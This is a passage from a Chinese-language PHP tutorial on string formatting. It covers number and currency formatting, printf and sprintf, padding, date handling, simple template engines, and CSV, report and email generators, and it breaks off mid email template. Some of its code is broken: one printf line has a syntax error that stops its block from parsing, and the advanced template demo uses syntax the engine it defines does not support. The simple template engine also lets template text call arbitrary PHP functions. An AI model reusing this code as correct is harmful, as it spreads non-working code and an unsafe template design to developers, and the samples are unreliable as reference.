下一节预告:我们将学习字符串格式化技术,包括数字格式化、日期时间处理和模板系统。

6.4 字符串格式化

字符串格式化是将数据按照特定格式转换为字符串的过程,这在Web开发中非常重要。无论是显示价格、格式化日期、生成报告,还是创建用户友好的输出,都离不开字符串格式化技术。

格式化的重要性和应用场景

在Web开发中,字符串格式化广泛应用于:

  • 数据显示:将数字、日期等按照本地化格式显示
  • 报表生成:创建格式化的表格和报告
  • 日志记录:生成结构化的日志信息
  • 用户界面:创建友好的用户界面文本
  • 数据导出:生成CSV、XML等格式化文件
  • 模板系统:动态生成HTML、邮件等

数字格式化

number_format() - 基本数字格式化

<?php
// 基本用法:添加千位分隔符
$number = 1234567.89;
$formatted = number_format($number);
echo "格式化: {$formatted}\n";  // 输出: 1,234,568

// 指定小数位数
$number = 1234.567;
$formatted = number_format($number, 2);
echo "两位小数: {$formatted}\n";  // 输出: 1,234.57

// 指定小数点符号和千位分隔符
$number = 1234.56;
$formatted = number_format($number, 2, ',', '.');  // 德国格式
echo "德国格式: {$formatted}\n";  // 输出: 1.234,56

$formatted = number_format($number, 2, '.', ',');  // 美国格式
echo "美国格式: {$formatted}\n";  // 输出: 1,234.56

// 实用函数:格式化货币显示
function formatCurrency($amount, $currency = '¥', $locale = 'zh_CN') {
    switch ($locale) {
        case 'zh_CN':
            return $currency . number_format($amount, 2);
        case 'en_US':
            return $currency . number_format($amount, 2, '.', ',');
        case 'de_DE':
            return number_format($amount, 2, ',', '.') . ' ' . $currency;
        default:
            return $currency . number_format($amount, 2);
    }
}

echo "中文货币: " . formatCurrency(1234.56, '¥', 'zh_CN') . "\n";
echo "美元货币: " . formatCurrency(1234.56, '$', 'en_US') . "\n";
echo "欧元货币: " . formatCurrency(1234.56, '€', 'de_DE') . "\n";
?>

printf() 和 sprintf() - 格式化输出

<?php
// printf() - 直接输出
$name = "张三";
$age = 25;
$salary = 5000.50;

printf("姓名:%s,年龄:%d岁,工资:%.2f元\n", $name, $age, $salary);

// sprintf() - 返回格式化字符串
$formatted = sprintf("姓名:%s,年龄:%d岁,工资:%.2f元", $name, $age, $salary);
echo "格式化字符串: {$formatted}\n";

// 常用格式说明符
$number = 123.456;
$integer = 42;
$string = "Hello";
$hex = 255;

printf("二进制: %b\n", $hex);        // 二进制
printf("字符: %c\n", 65);            // ASCII字符
printf("十进制: %d\n", $integer);    // 十进制整数
printf("科学计数: %e\n", $number);    // 科学计数法
printf("浮点数: %f\n", $number);     // 浮点数
printf八进制: %o\n", $hex);          // 八进制
printf("字符串: %s\n", $string);     // 字符串
printf("十六进制: %x\n", $hex);      // 十六进制(小写)
printf("十六进制: %X\n", $hex);      // 十六进制(大写)
printf("百分号: %%\n");             // 百分号

// 格式化对齐和填充
printf("%10s | %-10s | %8.2f\n", "产品", "数量", "价格");
printf("%10s | %-10s | %8.2f\n", "苹果", "100", "5.99");
printf("%10s | %-10s | %8.2f\n", "香蕉", "50", "3.50");
printf("%10s | %-10s | %8.2f\n", "橙子", "75", "4.25");
?>

vprintf() 和 vsprintf() - 可变参数格式化

<?php
// vprintf() - 可变参数直接输出
$args = ["张三", 25, "工程师"];
vprintf("姓名:%s,年龄:%d,职业:%s\n", $args);

// vsprintf() - 可变参数返回字符串
$formatted = vsprintf("姓名:%s,年龄:%d,职业:%s", $args);
echo "格式化结果: {$formatted}\n";

// 实际应用:动态格式化表格数据
function formatTableRow($format, ...$data) {
    return vsprintf($format, $data);
}

$products = [
    ["笔记本电脑", 2, 4999.99],
    ["无线鼠标", 5, 89.90],
    ["USB键盘", 3, 159.00]
];

echo str_repeat("-", 50) . "\n";
echo formatTableRow("%-15s | %5s | %10s\n", "产品名称", "数量", "价格");
echo str_repeat("-", 50) . "\n";

foreach ($products as $product) {
    echo formatTableRow("%-15s | %5d | %10.2f\n", ...$product);
}

echo str_repeat("-", 50) . "\n";

// 创建可重用的格式化函数
function createFormatter($template) {
    return function(...$args) use ($template) {
        return vsprintf($template, $args);
    };
}

$userFormatter = createFormatter("用户:%s,邮箱:%s,注册时间:%s");
echo $userFormatter("张三", "zhangsan@example.com", "2024-01-15") . "\n";
echo $userFormatter("李四", "lisi@example.org", "2024-02-20") . "\n";
?>

字符串填充和对齐

str_pad() - 字符串填充

<?php
// 基本填充
$text = "PHP";
$padded = str_pad($text, 10, " ", STR_PAD_RIGHT);
echo "右填充: '{$padded}'\n";  // 输出: 'PHP       '

$padded = str_pad($text, 10, " ", STR_PAD_LEFT);
echo "左填充: '{$padded}'\n";  // 输出: '       PHP'

$padded = str_pad($text, 10, " ", STR_PAD_BOTH);
echo "两边填充: '{$padded}'\n";  // 输出: '   PHP    '

// 使用自定义填充字符
$padded = str_pad($text, 10, "*", STR_PAD_RIGHT);
echo "自定义填充: '{$padded}'\n";  // 输出: 'PHP*******'

// 实际应用:格式化表格对齐
function createTable($headers, $data) {
    // 计算每列的最大宽度
    $columnWidths = [];
    foreach ($headers as $i => $header) {
        $columnWidths[$i] = strlen($header);
        foreach ($data as $row) {
            $columnWidths[$i] = max($columnWidths[$i], strlen($row[$i]));
        }
    }

    // 格式化表头
    $headerRow = "|";
    foreach ($headers as $i => $header) {
        $headerRow .= " " . str_pad($header, $columnWidths[$i]) . " |";
    }
    $headerRow .= "\n";

    // 格式化分隔线
    $separator = "+";
    foreach ($columnWidths as $width) {
        $separator .= "-" . str_repeat("-", $width + 2) . "-+";
    }
    $separator .= "\n";

    // 格式化数据行
    $dataRows = "";
    foreach ($data as $row) {
        $dataRows .= "|";
        foreach ($row as $i => $cell) {
            $dataRows .= " " . str_pad($cell, $columnWidths[$i]) . " |";
        }
        $dataRows .= "\n";
    }

    return $separator . $headerRow . $separator . $dataRows . $separator;
}

$headers = ["姓名", "年龄", "城市", "职业"];
$data = [
    ["张三", "28", "北京", "工程师"],
    ["李四", "25", "上海", "设计师"],
    ["王五", "32", "广州", "产品经理"]
];

echo createTable($headers, $data);
?>

sprintf() 对齐功能

<?php
// 使用sprintf实现字符串对齐
$data = [
    ["产品", "数量", "价格"],
    ["苹果", "100", "¥5.99"],
    ["香蕉", "50", "¥3.50"],
    ["橙子", "75", "¥4.25"]
];

foreach ($data as $row) {
    printf("%-10s | %6s | %10s\n", ...$row);
}

// 创建动态对齐函数
function alignColumns($data, $padding = 2) {
    if (empty($data)) return "";

    // 计算每列最大宽度
    $columnWidths = [];
    $colCount = count($data[0]);

    for ($col = 0; $col < $colCount; $col++) {
        $maxWidth = 0;
        foreach ($data as $row) {
            $maxWidth = max($maxWidth, mb_strwidth($row[$col], 'UTF-8'));
        }
        $columnWidths[] = $maxWidth + $padding;
    }

    // 格式化输出
    $result = "";
    foreach ($data as $row) {
        $formatted = "";
        foreach ($row as $col => $cell) {
            $formatted .= str_pad($cell, $columnWidths[$col]);
        }
        $result .= rtrim($formatted) . "\n";
    }

    return $result;
}

$tableData = [
    ["中文名称", "English Name", "价格"],
    ["苹果", "Apple", "¥5.99"],
    ["香蕉", "Banana", "¥3.50"],
    ["橙子", "Orange", "¥4.25"]
];

echo alignColumns($tableData);
?>

日期和时间格式化

date() - 基本日期格式化

<?php
// 常用日期格式
$timestamp = time();

echo "当前时间戳: {$timestamp}\n";
echo "Y-m-d: " . date('Y-m-d', $timestamp) . "\n";  // 2024-01-15
echo "H:i:s: " . date('H:i:s', $timestamp) . "\n";  // 14:30:25
echo "Y-m-d H:i:s: " . date('Y-m-d H:i:s', $timestamp) . "\n";  // 2024-01-15 14:30:25

// 更多格式选项
echo "年份(Y): " . date('Y') . "\n";           // 2024 (4位)
echo "年份(y): " . date('y') . "\n";           // 24 (2位)
echo "月份(F): " . date('F') . "\n";           // January (英文全称)
echo "月份(M): " . date('M') . "\n";           // Jan (英文缩写)
echo "月份(m): " . date('m') . "\n";           // 01 (数字,带前导零)
echo "月份(n): " . date('n') . "\n";           // 1 (数字,不带前导零)
echo "日期(d): " . date('d') . "\n";           // 15 (带前导零)
echo "日期(j): " . date('j') . "\n";           // 15 (不带前导零)
echo "星期(l): " . date('l') . "\n";           // Monday (英文全称)
echo "星期(D): " . date('D') . "\n";           // Mon (英文缩写)
echo "星期(N): " . date('N') . "\n";           // 1 (ISO-8601数字表示,1-7)

// 时间格式
echo "小时(H): " . date('H') . "\n";           // 14 (24小时制,带前导零)
echo "小时(h): " . date('h') . "\n";           // 02 (12小时制,带前导零)
echo "分钟(i): " . date('i') . "\n";           // 30 (带前导零)
echo "秒(s): " . date('s') . "\n";             // 25 (带前导零)
echo "上午下午(a): " . date('a') . "\n";       // am/pm
echo "上午下午(A): " . date('A') . "\n";       // AM/PM

// 实用函数:友好的时间显示
function friendlyTime($timestamp) {
    $now = time();
    $diff = $now - $timestamp;

    if ($diff < 60) {
        return "刚刚";
    } elseif ($diff < 3600) {
        $minutes = floor($diff / 60);
        return "{$minutes}分钟前";
    } elseif ($diff < 86400) {
        $hours = floor($diff / 3600);
        return "{$hours}小时前";
    } elseif ($diff < 2592000) {  // 30天
        $days = floor($diff / 86400);
        return "{$days}天前";
    } else {
        return date('Y-m-d', $timestamp);
    }
}

$past = time() - 3661;  // 1小时1分钟前
echo "友好时间: " . friendlyTime($past) . "\n";

// 本地化日期格式化
function formatDateLocalized($timestamp, $locale = 'zh_CN') {
    switch ($locale) {
        case 'zh_CN':
            $weekdays = ['日', '一', '二', '三', '四', '五', '六'];
            $weekday = $weekdays[date('w', $timestamp)];
            return date('Y年m月d日 星期' . $weekday, $timestamp);

        case 'en_US':
            return date('l, F j, Y', $timestamp);

        case 'de_DE':
            $germanMonths = ['Januar', 'Februar', 'März', 'April', 'Mai', 'Juni',
                           'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'];
            $month = $germanMonths[date('n', $timestamp) - 1];
            return date('j. ') . $month . date(' Y', $timestamp);

        default:
            return date('Y-m-d', $timestamp);
    }
}

echo "中文日期: " . formatDateLocalized(time(), 'zh_CN') . "\n";
echo "英文日期: " . formatDateLocalized(time(), 'en_US') . "\n";
echo "德文日期: " . formatDateLocalized(time(), 'de_DE') . "\n";
?>

DateTime 类 - 面向对象的日期处理

<?php
// 创建DateTime对象
$now = new DateTime();
echo "当前时间: " . $now->format('Y-m-d H:i:s') . "\n";

// 从字符串创建DateTime
$date = DateTime::createFromFormat('Y-m-d', '2024-01-15');
echo "指定日期: " . $date->format('Y年m月d日') . "\n";

// 日期修改
$date->modify('+1 week');
echo "一周后: " . $date->format('Y-m-d') . "\n";

$date->modify('+2 days');
echo "再两天: " . $date->format('Y-m-d') . "\n";

// 日期比较
$date1 = new DateTime('2024-01-01');
$date2 = new DateTime('2024-01-15');

if ($date1 < $date2) {
    echo "date1 早于 date2\n";
}

$interval = $date1->diff($date2);
echo "相差: " . $interval->days . " 天\n";

// 实用类:日期格式化工具
class DateFormatter {
    private $dateTime;

    public function __construct($date = null) {
        if ($date instanceof DateTime) {
            $this->dateTime = $date;
        } elseif (is_string($date)) {
            $this->dateTime = new DateTime($date);
        } elseif (is_int($date)) {
            $this->dateTime = DateTime::createFromFormat('U', $date);
        } else {
            $this->dateTime = new DateTime();
        }
    }

    public function format($format) {
        return $this->dateTime->format($format);
    }

    public function toChinese() {
        $weekdays = ['日', '一', '二', '三', '四', '五', '六'];
        $weekday = $weekdays[$this->dateTime->format('w')];

        return $this->dateTime->format('Y年m月d日 星期') . $weekday;
    }

    public function toISO() {
        return $this->dateTime->format('c');
    }

    public function toMySQL() {
        return $this->dateTime->format('Y-m-d H:i:s');
    }

    public function relativeTo($otherDate = null) {
        if ($otherDate === null) {
            $otherDate = new DateTime();
        } elseif (!$otherDate instanceof DateTime) {
            $otherDate = new DateTime($otherDate);
        }

        $interval = $this->dateTime->diff($otherDate);

        if ($interval->invert) {
            $prefix = "之后";
        } else {
            $prefix = "之前";
        }

        if ($interval->y > 0) {
            return $interval->y . "年" . $prefix;
        } elseif ($interval->m > 0) {
            return $interval->m . "个月" . $prefix;
        } elseif ($interval->d > 0) {
            return $interval->d . "天" . $prefix;
        } elseif ($interval->h > 0) {
            return $interval->h . "小时" . $prefix;
        } elseif ($interval->i > 0) {
            return $interval->i . "分钟" . $prefix;
        } else {
            return "刚刚";
        }
    }

    public function addDays($days) {
        $this->dateTime->modify("+{$days} days");
        return $this;
    }

    public function addMonths($months) {
        $this->dateTime->modify("+{$months} months");
        return $this;
    }
}

// 使用示例
$formatter = new DateFormatter('2024-01-15');
echo "中文格式: " . $formatter->toChinese() . "\n";
echo "ISO格式: " . $formatter->toISO() . "\n";
echo "MySQL格式: " . $formatter->toMySQL() . "\n";
echo "相对时间: " . $formatter->relativeTo() . "\n";

$formatter->addDays(7);
echo "一周后: " . $formatter->format('Y-m-d') . "\n";
?>

模板和占位符系统

简单模板系统

<?php
class SimpleTemplate {
    private $template;
    private $variables = [];

    public function __construct($template) {
        $this->template = $template;
    }

    public function set($name, $value) {
        $this->variables[$name] = $value;
        return $this;
    }

    public function setMultiple($variables) {
        $this->variables = array_merge($this->variables, $variables);
        return $this;
    }

    public function render() {
        $result = $this->template;

        // 替换简单变量 {{variable}}
        $result = preg_replace_callback('/\{\{(\w+)\}\}/', function($matches) {
            $var = $matches[1];
            return isset($this->variables[$var]) ? $this->variables[$var] : $matches[0];
        }, $result);

        // 替换函数调用 {{func()}}
        $result = preg_replace_callback('/\{\{(\w+)\(\)\}\}/', function($matches) {
            $func = $matches[1];
            if (function_exists($func)) {
                return $func();
            }
            return $matches[0];
        }, $result);

        return $result;
    }

    public function renderAndEcho() {
        echo $this->render();
    }
}

// 使用示例
$template = new SimpleTemplate(<<<TEMPLATE
<!DOCTYPE html>
<html>
<head>
    <title>{{title}}</title>
</head>
<body>
    <h1>{{greeting}},{{name}}!</h1>
    <p>当前时间:{{date()}}</p>
    <table border="1">
        <tr><th>产品</th><th>价格</th></tr>
        {{product_rows}}
    </table>
</body>
</html>
TEMPLATE);

$template->setMultiple([
    'title' => '欢迎页面',
    'greeting' => '欢迎',
    'name' => '张三'
]);

// 生成产品行
$products = [
    ['name' => '苹果', 'price' => '¥5.99'],
    ['name' => '香蕉', 'price' => '¥3.50'],
    ['name' => '橙子', 'price' => '¥4.25']
];

$productRows = "";
foreach ($products as $product) {
    $productRows .= "<tr><td>{$product['name']}</td><td>{$product['price']}</td></tr>";
}

$template->set('product_rows', $productRows);
$template->renderAndEcho();
?>

高级模板引擎

<?php
class AdvancedTemplate {
    private $template;
    private $variables = [];
    private $functions = [];

    public function __construct($template) {
        $this->template = $template;
        $this->functions = [
            'upper' => 'strtoupper',
            'lower' => 'strtolower',
            'date' => function($format = 'Y-m-d') { return date($format); },
            'currency' => function($amount, $symbol = '¥') {
                return $symbol . number_format($amount, 2);
            },
            'truncate' => function($text, $length = 50) {
                return strlen($text) > $length ? substr($text, 0, $length) . '...' : $text;
            }
        ];
    }

    public function set($name, $value) {
        $this->variables[$name] = $value;
        return $this;
    }

    public function setFunction($name, callable $func) {
        $this->functions[$name] = $func;
        return $this;
    }

    public function render() {
        $result = $this->template;

        // 处理条件语句 {% if condition %} ... {% endif %}
        $result = $this->processConditions($result);

        // 处理循环语句 {% for item in items %} ... {% endfor %}
        $result = $this->processLoops($result);

        // 处理变量和函数调用
        $result = $this->processVariables($result);

        return $result;
    }

    private function processConditions($template) {
        $pattern = '/\{%\s*if\s+(\w+)\s*%\}(.*?)\{%\s*endif\s*%\}/s';

        return preg_replace_callback($pattern, function($matches) {
            $condition = $matches[1];
            $content = $matches[2];

            $value = isset($this->variables[$condition]) ? $this->variables[$condition] : null;
            return $value ? $content : '';
        }, $template);
    }

    private function processLoops($template) {
        $pattern = '/\{%\s*for\s+(\w+)\s+in\s+(\w+)\s*%\}(.*?)\{%\s*endfor\s*%\}/s';

        return preg_replace_callback($pattern, function($matches) {
            $itemVar = $matches[1];
            $arrayVar = $matches[2];
            $content = $matches[3];

            $array = isset($this->variables[$arrayVar]) ? $this->variables[$arrayVar] : [];
            $result = '';

            foreach ($array as $item) {
                $tempContent = $content;

                // 替换循环变量
                if (is_array($item)) {
                    foreach ($item as $key => $value) {
                        $tempContent = str_replace('{{' . $itemVar . '.' . $key . '}}', $value, $tempContent);
                    }
                } else {
                    $tempContent = str_replace('{{' . $itemVar . '}}', $item, $tempContent);
                }

                $result .= $tempContent;
            }

            return $result;
        }, $template);
    }

    private function processVariables($template) {
        // 处理函数调用 {{func(arg1, arg2)}}
        $template = preg_replace_callback('/\{\{(\w+)\(([^)]*)\)\}\}/', function($matches) {
            $funcName = $matches[1];
            $argsStr = $matches[2];

            if (!isset($this->functions[$funcName])) {
                return $matches[0];
            }

            // 解析参数
            $args = [];
            if (!empty($argsStr)) {
                $argList = array_map('trim', explode(',', $argsStr));
                foreach ($argList as $arg) {
                    // 如果参数是变量引用
                    if (preg_match('/^\$?\w+$/', $arg)) {
                        $varName = ltrim($arg, '$');
                        $args[] = isset($this->variables[$varName]) ? $this->variables[$varName] : '';
                    } elseif (preg_match('/^["\'].*["\']$/', $arg)) {
                        // 字符串参数
                        $args[] = trim($arg, '"\'');
                    } else {
                        // 数字参数
                        $args[] = is_numeric($arg) ? $arg + 0 : $arg;
                    }
                }
            }

            return call_user_func_array($this->functions[$funcName], $args);
        }, $template);

        // 处理简单变量 {{variable}}
        $template = preg_replace_callback('/\{\{(\w+(?:\.\w+)*)\}\}/', function($matches) {
            $varPath = $matches[1];
            $parts = explode('.', $varPath);

            $value = $this->variables;
            foreach ($parts as $part) {
                if (is_array($value) && isset($value[$part])) {
                    $value = $value[$part];
                } else {
                    return $matches[0];
                }
            }

            return $value;
        }, $template);

        return $template;
    }
}

// 使用示例
$template = new AdvancedTemplate(<<<TEMPLATE
<!DOCTYPE html>
<html>
<head>
    <title>{{title}}</title>
</head>
<body>
    <h1>{{greeting}},{{user.name}}!</h1>
    {% if show_message %}
    <p>{{user.message | truncate(100) | upper}}</p>
    {% endif %}

    <h2>订单详情</h2>
    <p>订单时间:{{date('Y-m-d H:i:s')}}</p>

    <table border="1">
        <tr>
            <th>产品名称</th>
            <th>数量</th>
            <th>单价</th>
            <th>小计</th>
        </tr>
        {% for item in order.items %}
        <tr>
            <td>{{item.name}}</td>
            <td>{{item.quantity}}</td>
            <td>{{currency(item.price)}}</td>
            <td>{{currency(item.quantity * item.price)}}</td>
        </tr>
        {% endfor %}
        <tr>
            <td colspan="3"><strong>总计</strong></td>
            <td><strong>{{currency(order.total)}}</strong></td>
        </tr>
    </table>

    <p>感谢您的惠顾!</p>
</body>
</html>
TEMPLATE);

// 设置模板变量
$template->set('title', '订单确认');
$template->set('greeting', '尊敬的客户');
$template->set('show_message', true);

$template->set('user', [
    'name' => '李四',
    'message' => '感谢您购买我们的产品,这是您的订单确认信息。希望您对本次购物体验满意,期待您的再次光临!'
]);

$template->set('order', [
    'items' => [
        ['name' => '笔记本电脑', 'quantity' => 1, 'price' => 4999.00],
        ['name' => '无线鼠标', 'quantity' => 2, 'price' => 99.00],
        ['name' => 'USB键盘', 'quantity' => 1, 'price' => 159.00]
    ],
    'total' => 5356.00
]);

// 渲染模板
echo $template->render();
?>

实际应用示例

CSV文件生成器

<?php
class CSVGenerator {
    private $data;
    private $headers;
    private $filename;

    public function __construct($data, $headers = [], $filename = 'export.csv') {
        $this->data = $data;
        $this->headers = $headers;
        $this->filename = $filename;
    }

    public function generate() {
        $csv = '';

        // 添加BOM以支持中文
        $csv = "\xEF\xBB\xBF";

        // 添加表头
        if (!empty($this->headers)) {
            $csv .= $this->formatRow($this->headers);
        }

        // 添加数据行
        foreach ($this->data as $row) {
            $csv .= $this->formatRow($row);
        }

        return $csv;
    }

    private function formatRow($row) {
        $formatted = [];
        foreach ($row as $cell) {
            // 处理包含逗号、引号或换行符的字段
            if (is_string($cell) && (strpos($cell, ',') !== false ||
                strpos($cell, '"') !== false ||
                strpos($cell, "\n") !== false)) {
                $cell = '"' . str_replace('"', '""', $cell) . '"';
            }
            $formatted[] = $cell;
        }

        return implode(',', $formatted) . "\n";
    }

    public function download() {
        $csv = $this->generate();

        header('Content-Type: text/csv; charset=utf-8');
        header('Content-Disposition: attachment; filename=' . $this->filename);
        header('Content-Length: ' . strlen($csv));

        echo $csv;
        exit;
    }

    public function save($filepath) {
        $csv = $this->generate();
        return file_put_contents($filepath, $csv) !== false;
    }
}

// 使用示例
$users = [
    ['name' => '张三', 'email' => 'zhangsan@example.com', 'age' => 28, 'city' => '北京'],
    ['name' => '李四', 'email' => 'lisi@example.org', 'age' => 25, 'city' => '上海'],
    ['name' => '王五', 'email' => 'wangwu@example.net', 'age' => 32, 'city' => '广州']
];

$headers = ['姓名', '邮箱', '年龄', '城市'];

$csvGenerator = new CSVGenerator($users, $headers, 'users.csv');

// 生成CSV内容
$csvContent = $csvGenerator->generate();
echo $csvContent;

// 或者直接下载
// $csvGenerator->download();

// 或者保存到文件
// $csvGenerator->save('path/to/users.csv');
?>

报表生成器

<?php
class ReportGenerator {
    private $data;
    private $title;
    private $columns;

    public function __construct($title, $data, $columns) {
        $this->title = $title;
        $this->data = $data;
        $this->columns = $columns;
    }

    public function generateText() {
        $report = $this->title . "\n";
        $report .= str_repeat('=', mb_strlen($this->title, 'UTF-8')) . "\n\n";

        // 计算列宽
        $widths = [];
        foreach ($this->columns as $key => $config) {
            $widths[$key] = mb_strlen($config['title'], 'UTF-8');
            foreach ($this->data as $row) {
                $value = $this->formatValue($row[$key] ?? '', $config['format'] ?? 'text');
                $widths[$key] = max($widths[$key], mb_strlen($value, 'UTF-8'));
            }
        }

        // 表头
        $header = '|';
        $separator = '+';
        foreach ($this->columns as $key => $config) {
            $width = $widths[$key];
            $header .= ' ' . str_pad($config['title'], $width) . ' |';
            $separator .= '-' . str_repeat('-', $width + 2) . '-+';
        }

        $report .= $separator . "\n" . $header . "\n" . $separator . "\n";

        // 数据行
        foreach ($this->data as $row) {
            $line = '|';
            foreach ($this->columns as $key => $config) {
                $value = $this->formatValue($row[$key] ?? '', $config['format'] ?? 'text');
                $align = $config['align'] ?? 'left';

                if ($align === 'right') {
                    $line .= ' ' . str_pad($value, $widths[$key], ' ', STR_PAD_LEFT) . ' |';
                } else {
                    $line .= ' ' . str_pad($value, $widths[$key]) . ' |';
                }
            }
            $report .= $line . "\n";
        }

        $report .= $separator . "\n";

        // 添加统计信息
        $report .= "\n统计信息:\n";
        $report .= "总记录数: " . count($this->data) . "\n";
        $report .= "生成时间: " . date('Y-m-d H:i:s') . "\n";

        return $report;
    }

    public function generateHTML() {
        $html = '<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>' . htmlspecialchars($this->title) . '</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h1 { color: #333; }
        table { border-collapse: collapse; width: 100%; margin: 20px 0; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; font-weight: bold; }
        tr:nth-child(even) { background-color: #f9f9f9; }
        .text-right { text-align: right; }
        .text-center { text-align: center; }
        .summary { background-color: #f0f0f0; padding: 10px; border-radius: 5px; }
    </style>
</head>
<body>
    <h1>' . htmlspecialchars($this->title) . '</h1>

    <table>
        <thead>
            <tr>';

        foreach ($this->columns as $config) {
            $align = $config['align'] ?? 'left';
            $class = $align === 'right' ? 'text-right' : ($align === 'center' ? 'text-center' : '');
            $html .= '<th class="' . $class . '">' . htmlspecialchars($config['title']) . '</th>';
        }

        $html .= '</tr>
        </thead>
        <tbody>';

        foreach ($this->data as $row) {
            $html .= '<tr>';
            foreach ($this->columns as $key => $config) {
                $value = $this->formatValue($row[$key] ?? '', $config['format'] ?? 'text');
                $align = $config['align'] ?? 'left';
                $class = $align === 'right' ? 'text-right' : ($align === 'center' ? 'text-center' : '');
                $html .= '<td class="' . $class . '">' . htmlspecialchars($value) . '</td>';
            }
            $html .= '</tr>';
        }

        $html .= '</tbody>
    </table>

    <div class="summary">
        <p><strong>统计信息:</strong></p>
        <p>总记录数: ' . count($this->data) . '</p>
        <p>生成时间: ' . date('Y-m-d H:i:s') . '</p>
    </div>
</body>
</html>';

        return $html;
    }

    private function formatValue($value, $format) {
        switch ($format) {
            case 'currency':
                return '¥' . number_format($value, 2);
            case 'number':
                return number_format($value);
            case 'percentage':
                return number_format($value * 100, 2) . '%';
            case 'date':
                if (is_numeric($value)) {
                    return date('Y-m-d', $value);
                }
                return $value;
            case 'datetime':
                if (is_numeric($value)) {
                    return date('Y-m-d H:i:s', $value);
                }
                return $value;
            default:
                return (string) $value;
        }
    }
}

// 使用示例
$salesData = [
    ['product' => '笔记本电脑', 'sales' => 120, 'revenue' => 599880, 'date' => '2024-01-01'],
    ['product' => '无线鼠标', 'sales' => 450, 'revenue' => 44550, 'date' => '2024-01-02'],
    ['product' => 'USB键盘', 'sales' => 280, 'revenue' => 44520, 'date' => '2024-01-03'],
    ['product' => '显示器', 'sales' => 95, 'revenue' => 142500, 'date' => '2024-01-04'],
    ['product' => '耳机', 'sales' => 320, 'revenue' => 64000, 'date' => '2024-01-05']
];

$columns = [
    'product' => ['title' => '产品名称', 'format' => 'text', 'align' => 'left'],
    'sales' => ['title' => '销售数量', 'format' => 'number', 'align' => 'right'],
    'revenue' => ['title' => '销售收入', 'format' => 'currency', 'align' => 'right'],
    'date' => ['title' => '日期', 'format' => 'date', 'align' => 'center']
];

$report = new ReportGenerator('销售报表', $salesData, $columns);

echo "文本格式报表:\n";
echo $report->generateText() . "\n\n";

echo "HTML格式报表:\n";
echo $report->generateHTML();
?>

邮件模板系统

<?php
class EmailTemplate {
    private $template;
    private $variables;
    private $layout;

    public function __construct($template, $layout = null) {
        $this->template = $template;
        $this->variables = [];
        $this->layout = $layout;
    }

    public function set($name, $value) {
        $this->variables[$name] = $value;
        return $this;
    }

    public function setMultiple($variables) {
        $this->variables = array_merge($this->variables, $variables);
        return $this;
    }

    public function render() {
        $content = $this->template;

        // 处理条件渲染 {% if variable %}...{% endif %}
        $content = preg_replace_callback(
            '/{%\s*if\s+(\w+)\s*%}(.*?)(?:{%\s*else\s*%}(.*?))?{%\s*endif\s*%}/s',
            function($matches) {
                $condition = $matches[1];
                $ifContent = $matches[2] ?? '';
                $elseContent = $matches[3] ?? '';

                return !empty($this->variables[$condition]) ? $ifContent : $elseContent;
            },
            $content
        );

        // 处理变量替换 {{variable}}
        $content = preg_replace_callback(
            '/\{\{(\w+(?:\.\w+)*)\}\}/',
            function($matches) {
                $path = $matches[1];
                $keys = explode('.', $path);
                $value = $this->variables;

                foreach ($keys as $key) {
                    if (is_array($value) && isset($value[$key])) {
                        $value = $value[$key];
                    } else {
                        return $matches[0];
                    }
                }

                return $value;
            },
            $content
        );

        // 处理格式化函数 {{format:function(args)}}
        $content = preg_replace_callback(
            '/\{\{format:(\w+)\((.*?)\)\}\}/',
            function($matches) {
                $funcName = $matches[1];
                $argsStr = $matches[2];

                $args = [];
                if (!empty($argsStr)) {
                    $argList = array_map('trim', explode(',', $argsStr));
                    foreach ($argList as $arg) {
                        if (preg_match('/^\$?\w+$/', $arg)) {
                            $varName = ltrim($arg, '$');
                            $args[] = $this->variables[$varName] ?? '';
                        } else {
                            $args[] = trim($arg, '"\'');
                        }
                    }
                }

                switch ($funcName) {
                    case 'currency':
                        return '¥' . number_format($args[0] ?? 0, 2);
                    case 'date':
                        return date($args[0] ?? 'Y-m-d', strtotime($args[1] ?? 'now'));
                    case 'upper':
                        return strtoupper($args[0] ?? '');
                    case 'lower':
                        return strtolower($args[0] ?? '');
                    default:
                        return $matches[0];
                }
            },
            $content
        );

        // 应用布局
        if ($this->layout) {
            $this->variables['content'] = $content;
            $layoutTemplate = new EmailTemplate($this->layout);
            $layoutTemplate->variables = $this->variables;
            return $layoutTemplate->render();
        }

        return $content;
    }

    public function send($to, $subject) {
        $headers = [
            'MIME-Version: 1.0',
            'Content-Type: text/html; charset=UTF-8',
            'From: noreply@example.com'
        ];

        $content = $this->render();
        return mail($to, $subject, $content, implode("\r\n", $headers));
    }
}

// 邮件模板示例
$orderConfirmationTemplate = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>订单确认</title>
</head>
<body style="font-family: Arial, sans-serif; margin: 0; padding: 20px; background-color: #f5f5f5;">
    <div style="max-width: 600px; margin: 0 auto; background-color: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1);">
        <h1 style="color: #333; text-align: center;">订单确认</h1>

        <p>尊敬的 {{customer.name}}:</p>
        <p>感谢您的订单!我们已经收到您的订单,正在为您准备商品。</p>

        <div style="margin: 20px 0;">
            <h3 style="color: #555; border-bottom: 2px solid #eee; padding-bottom: 10px;">订单信息</h3>
            <p><strong>订单号:</strong>{{order.number}}</p>
            <p><strong>下单时间:</strong>{{format:date('Y年m月d日 H:i', order.created_at)}}</p>
            <p><strong>支付方式:</strong>{{order.payment_method}}</p>
        </div>

        <div style="margin: 20px 0;">
            <h3 style="color: #555; border-bottom: 2px solid #eee; padding-bottom: 10px;">配送地址</h3>
            <p>{{customer.address}}</p>
            <p>{{customer.city}} {{customer.province}} {{customer.postal_code}}</p>
            <p>电话:{{customer.phone}}</p>
        </div>

        <div style="margin: 20px 0;">
            <h3 style="color: #555; border-bottom: 2px solid #eee; padding-bottom: 10px;">订单明细</h3>
            <table style="width: 100%; border-collapse: collapse;">
                <thead>
                    <tr style="background-color: #f8f8f8;">
                        <th style="padding: 10px; text-align: left; border: 1px solid #ddd;">商品</th>
                        <th style="padding: 10px; text-align: center; border: 1px solid #ddd;">数量</th>
                        <th style="padding: 10px; text-align: right; border: 1px solid #ddd;">单价</th>
                        <th style="padding: 10px; text-align: right; border: 1px solid #ddd;">小计</th>
                    </tr>
                </thead>
                <tbody>
                    {% for item in order.items %}
                    <tr>
